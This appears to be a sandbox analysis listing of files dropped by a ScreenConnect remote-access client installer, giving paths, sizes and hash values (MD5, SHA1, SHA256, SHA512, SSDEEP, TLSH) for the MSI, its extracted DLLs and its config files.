- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe.config
- Size 266B
- SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
- MD5 728175e20ffbceb46760bb5e1112f38b
- SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
- SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
- TLSH T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\app.config
- Size 508B
- SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
- MD5 7b5bfce1109ea50893d85f908066f4eb
- SHA1 49dee30e332dab3251af37a9c4b2cf99c1493f72
- SHA512 c3fda557c4deba5d4be1e279e711fcd09d8eb15f445d8ebd733ced7d493a9a6cad74e56c2847489275a3d8dbdec8bfd21bc097600a1288adff9b7f6921c5e3ba
- TLSH T115F0E91432047E5B1A871F33C53346102DB16E722221242D64AB303BF67A6E513B23C7
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\c4f8a2e19b3d\user.config
- Size 544B
- SHA256 d911b7f767ad5891b636cee75ad8a53b65cfcf96bda2742f8f20d1aae8a4771c
- MD5 ec0dc8f7d24fcc4664e0db3fcd00d663
- SHA1 e7d6b20836e4385adb6f92a89d9d7fcc6e0ec2e5
- SHA512 a8a8ac3a1df4aad282171526a820d27355a304e6f235491442957ec94df731284dc74f2864985f9d3e7672f889955b2b36bb044ae8d8dc322b1efa72d26e539a
- TLSH T13AF059387184FE1B55731E22C6518700EE315B930025545874EE227B8F704DB03B32E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
- Size 2.3MB
- SHA256 b44678d4f924373612a8b2145b0dbdee3328ce7c523128ed25d9d3cb087ee182
- MD5 b5d49c18705669d84370936c1c23d868
- SHA1 7c39ee3fb6257d4917cee9f38700012db9ced3bd
- SHA512 9ac028ece76461654760781ab3258b397145fed5222e3b7e3a1748dd1c5a3559b63130f6f82502f423dc7eb7d9817595f37577b4e26a4fd1e656a00652b84192
- SSDEEP 49152:tgzAdVWLby7z1YO5vI4arBJIpydcU7/nJQ6MwZCGuoiIj8PCo1g:uzi0u7eOe48BeYdHJQ6boG17at
- TLSH T116B5013132E4C039E2B61A3DE93A91F15939BD24DA23855F93647D1E39B0E8096B3377
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIDFAD.tmp
- Size 357KB
- SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
- MD5 98062e7044ebbcca1edb044a2c118bd0
- SHA1 214d9daf9eff64f28cdd77278854c8228defc038
- SHA512 d25ebd7e58d53d71470fddfa01bea496d76b7bf89ae8e736d4c7f4fc3ddd91c3eff1bf510dc5e894f80d86f4fd4b2927f8e4333dcaccb395dea7dbef49e3aa87
- SSDEEP 6144:4UUG777hkC5AnjtkuHnPcIPrpaPC4qXyH7b3gcE4darp:4UUa/hkuAnjl0Ij8PCXX877gOq
- TLSH T18574F11132F58036F2F72B305E75A2914ABD79B16A70C38E7B86066D4EF1B81DA94733
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIDFAD.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 172KB
- SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
- MD5 5ef88919012e4a3d8a1e2955dc8c8d81
- SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
- SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
- SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
- TLSH T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIDFAD.tmp-\ScreenConnect.Core.dll
- Size 447KB
- SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
- MD5 c3dc16938aa9337c29dd045208aca145
- SHA1 6ae53d26f9db35dcd7c1a005cd0c9ea7f998b144
- SHA512 7d008dea7c5d3c70d172ecda85a437923285fa0838bf00ac5485d4eb995e75fcda7b2b9b1907997c62441a864fd6ed549dbf90887b31511eb7ab780d21bdc3d6
- SSDEEP 6144:nrQ4yFEl3VPGxSTlJAroi/R05u2ahY4cKH+0az0eOe3Canfwc7Wxy0hcXVg4mwgF:ndl3VPV7QoiHBOy/urm
- TLSH T113A45A2433E56A6AC93D47FEB430091C4374EC59AD8FFB5BA7D5F8652CA33449D002AA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIDFAD.tmp-\ScreenConnect.InstallerActions.dll
- Size 18KB
- SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
- MD5 0cb90880fb67f56d7e5768e19d530504
- SHA1 ff93bcd9e7827e4f93fbdcb6893918c246a77933
- SHA512 3b22c20fa7977530ba278392aa7c3519eaa89c31ef4d3b9bc215321d2633d287f52a69184e64feaf85b6413115f31a07bca5f3a00b6dbc9776f227c727e85bbc
- SSDEEP 384:5RUEjCTZibUPSK3M1aNdeFarMx61kjvxU5ydoEubz:zUEcZiUPSK3fWFjy5ydubz
- TLSH T1B7829401B3ED9A1AF1FF2F79ACB641540A72FD62AC35D71E1A84111E4D31B488EA0B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIE3E5.tmp
- Size 202KB
- SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
- MD5 ba84dd4e0c1408828ccc1de09f585eda
- SHA1 e8e10065d479f8f591b9885ea8487bc673301298
- SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
- SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
- TLSH T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
- MD5 SHA1 SHA512 SSDEEP TLSH